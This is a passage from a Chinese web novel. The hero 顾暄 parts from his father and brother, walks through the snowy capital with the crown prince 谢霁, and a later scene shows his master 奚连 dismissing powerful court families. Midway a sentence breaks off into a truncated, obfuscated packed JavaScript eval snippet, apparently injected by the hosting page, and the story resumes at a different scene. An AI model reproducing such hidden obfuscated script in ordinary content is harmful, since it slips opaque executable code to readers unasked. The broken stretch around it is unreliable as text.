顾暄也看得开,休息一阵后拉着他继续在雪地里比武,准确一点应该是玩。他以前就很想和顾映一起练剑,苦于自己没开脉,就这样看了几年,如今终于梦想成真,如何能不激动? 顾映许久未来京,此次入京已是温润如玉的翩翩少年郎,留京那会不少人来找王爷甚至是顾映本人,暗戳戳打探顾映的婚事。顾映似是不想这么早成婚,便把那些人丢给王爷应付,自己和顾暄在院中练剑、说笑和玩乐,只是苦了应酬的王爷。 初九,两人要启程回东临城。王爷手里抱着个暖炉,长吁短叹,道:“终于要回去了,这几天找我说亲的人可以从顾府东门排到西门了,我这张俊脸都要笑僵了。”话虽夸张,但从侧面反映来跟他明里暗里说亲的人确实多。 今早陆文砚来送行,谢承礼几人昨晚喝多了,今早没能起来。王爷昨晚喝得也有点多,此时抱着暖炉靠在马车边,昏昏欲睡。 太子殿下也来了,不知是林炀的意思还是皇帝的意思。顾映跟他在廊下说话,顾暄便跟陆文砚和老父亲聊。 陆文砚笑了笑:“世子容貌和才情都是一等一的好,芝兰生于庭,谁不想变为自家的?过几年,二公子大了,来说亲的人估计又翻了一倍。” 王爷一听这个就头大,“打住打住,再来一个我头都要炸了。这两棵芝兰给你吧陆兄?” 陆文砚不接,笑道:“我寡着呢,这福气还是留给王爷您吧……” 这边推诿着,顾映和太子那边快讲完了。顾暄想送他们到城门下,王爷不许,让他回府中或是云庄待着。隔了几个月没见父兄总觉得有很多话要讲,临别前又觉时间过得太快,想多留哪怕半个时辰。 王爷挑起帘子,对神情有些郁闷的顾暄道:“听话,今天风大就不让你送了。想家了就给我和哥哥写信,又不急这一时半会。” 顾暄:“好吧,阿爹再见,哥哥再见。” 马车里的顾映露出半张脸,冲他和煦一笑。王爷也笑了笑,然后放下帘子。 相聚时短暂,离别的时间却那么长。相见时难别亦难。 父兄回了东临城,顾暄一时有些难以习惯他们不在,明明前些日子隔了几个月没见,和他们待了六天不到又难以适应那种离开父兄的感觉,果然十几年的习惯是一件很恐怖的事。 陆文砚回陆府,送他到王府门口后又目送陆家的马车渐行渐远,顾暄打算回云庄。他拒绝了王府马夫要送他回云庄的提议,自己撑着一把伞走回去。 一月初九,冷意尚存,一路上冷风裹着细雪扑来,他便往前倾了倾伞,遮去大半部分视线。路上行人大多步履匆匆,像他这般走得慢的很少。 顾暄用了点内力护住身体,让身体不至于被冻到没知觉。京城的天是真冷,久居边疆的北安王却说这算不得什么,边境的风吹在脸上像钝刀子割肉一样,京城这风还是太温柔了。 顾暄久居东临城,没吹过这么猛的风,甚至没过过这么冷的冬天。他慢慢走着,心底里谈不上惆怅,这种天气下五感都要丧失了,再多的情绪也无处发泄。 他还意识到一点是,喜怒哀乐这些情绪大抵是在暖的地方才像流水一样流动,在大雪纷飞的京城估计被冻僵了,成了冰,于是人也变得平静。 得闲空出时间走回云庄,他甚至分出一些心神来留意过路人。被大人抱在怀里、穿得像球一样的孩子,脸带笑意的妇人,路过的马车,还有一个是前方不远处跟他走得一样慢的一个人影。 顾暄好奇,走快了几步,发觉那背影有些熟悉。正要放慢脚步时,那人听见顾暄的脚步声,回头。华服贵容,身形颀长,不是太子谢霁又是谁? 谢霁笑笑,赶在他要放下伞行礼时制止了他的动作,停在原地,问:“二公子是要回云庄吗?怎么不坐车回去?” 顾暄走到他身边,谢霁才开始走,两个人的脚印并排出现在道路一侧,不断有雪覆盖住后面的脚印。顾暄说:“第一次来京,想多看看京城冬天的风景。太子为何又独步雪道?” 谢霁:“我出来走走。而且也不算独步,我身后三丈左右有侍卫跟着,前面四丈和左右两侧也是。刚才光打发他们费了点功夫,估计回去要跟父皇打我的报告了。” 也是,一国太子要一个人在街上乱逛才是大问题了。里三层外三层的侍卫被分到八个角落,这一路的情况估计都被探察过一遍了。谢霁话虽如此,语气却并无指责之意。 顾暄看出他心情有些差,“出来走走”没准真是理由。他道:“皇上和太子安危身系社稷,侍卫谨慎也是情有可原。” “我知道。”谢霁点点头,忽而冷不丁冒了句:“你现在说话有点像你哥。” 顾映说话思虑再三,顾暄不及他,如此讲究只因对方是太子殿下。顾暄听他的语气,有些感慨,又有些迷茫,甚至掺着点说不明的难过,他一时摸不准这位太子殿下的意思,便道:“兄长与我同在府中十余年,他的说话方式也影响到我。兄长性格比我稳重,在说话这方面我不及他。” “现在就我们两人,顾暄你别端架子了。”谢霁叹了口气,他的称呼也从“二公子”变成“顾暄”。 顾暄一听亲切多了,但仍不敢大意,“好,听您的。” 谢霁问了一些他兄弟二人在东临城的事情,都是日常生活的细微小事。顾暄记起顾映说过的两人观点不合,再看谢霁那张英俊又难掩惆怅的脸,小心翼翼地问:“殿下您心情看着不太好,是跟我哥有关吗?” “有吗?”谢霁一愣,然后调整了一下面部表情,“算是吧,我…我说错话了,唉。”说完这话,他的面部表情有一瞬间又回到了那种迷茫又失意的状态。 顾暄更加疑惑,顾映的性格他是知道的,是非对错上从不含糊,小错上有时睁一只眼闭一只眼,说错话这种事情可大可小。但让顾映不悦、让谢霁为此自责,这位太子是说了什么惊世骇俗的叛逆话? 见顾暄微微瞪大眼睛,谢霁反应过来自己说了不该说的,有些懊恼:“唉,你当我是乱说的,别放在心上,也别跟你哥哥说。” 顾暄按下疑问,应声。谢霁手腕往上抬了抬,伞随着他的动作往上升,已经看到宫门的影子了。他道:“以后有什么事可以来太子府找我,无论是习武上还是功课上。你哥哥是我朋友,你大师兄是我王兄,下次见面不必这么拘束。” 话语间,他神色从容,嘱咐后辈时耐心平和,又成了那个年纪轻轻压住深绛紫色的太子殿下。 顾暄:“好,那就谢过殿下了。下次见。” “下次见。”随着最后一个字的落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奚连一看他的动作就知道发生什么了。在柳无喧身旁闲闲坐下,拿起黑棋,他戏谑道:“又要输了吧?” 语气虽是发问,但动作已经肯定了。 云谨重新拿起棋子。柳无喧变成观战的人,跟奚连讲他睡过去那几天云庄发生的事:“师父您这觉睡得好,今年我都不知道您这么受欢迎,简直成了香饽饽。一个二个都说给您拜年,赵家甚至派了那位大管家过来,姜家也派人来了。” 奚连脸都没抬,目光看着棋盘上的局势,落下一棋,道:“受欢迎的可不是我,不是宫里来的都不用理会,什么赵家枣家的,打太极过去就是了。” 赵家是睿王妃的母家,赵家的家主是如今的礼部侍郎,也是睿王妃的亲大哥。姜家出了一位贵妃,这位贵妃也是宣景皇帝唯一一位贵妃,只是迟迟未被立后,实际上和皇后也没什么区别了。 赵家和姜家如此显贵,在奚连口中有种不过如此的感觉。云谨和柳无喧却是知道他是真的对谢家以外的家族无感甚至是无惧。大概是五六年前,那时还有两位贵妃的,其中一位贵妃出身郭家,郭家的地位也因此水涨船高。 郭家不知为何惹着奚连了,于是三日后,一叠叠关于郭家罪行的卷宗放在了皇帝的书案上,包括贿赂、为恶一方、侵占民田等等。 宣景皇帝大怒,将郭家有关人员该贬职的贬职,该流放的流放,该罚钱的罚钱,连受牵连的郭贵妃也被降为贵人。于是一个显赫一时的家族就这么没落了。